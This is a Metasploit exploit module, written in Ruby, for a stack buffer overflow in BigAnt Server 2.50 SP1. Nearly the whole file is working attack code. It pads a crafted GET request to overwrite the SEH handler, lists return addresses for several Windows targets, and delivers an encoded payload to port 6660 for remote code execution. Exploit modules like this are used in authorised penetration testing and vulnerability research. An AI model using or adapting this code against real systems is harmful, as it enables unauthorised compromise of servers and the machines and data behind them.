BigAnt Server 2.50 SP1 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',  
'Description' => %q{  
This exploits a stack overflow in the BigAnt Messaging Service,  
part of the BigAnt Server product suite. This module was tested  
successfully against version 2.50 SP1.  
},  
'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'URL', 'http://www.milw0rm.com/exploits/9673'],  
#[ 'OSVDB', '' ],  
#[ 'CVE', '' ],  
#[ 'BID', '' ],  
  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 710,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k  
[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)  
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work  
],  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(6660)], self.class)  
end  
  
def exploit  
connect  
  
sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)  
sploit << rand_text_alpha_upper(1000 - payload.encoded.length)  
  
print_status("Trying target #{target.name}...")  
sock.put(sploit + "\r\n\r\n")  
  
handler  
disconnect  
end  
  
end  
`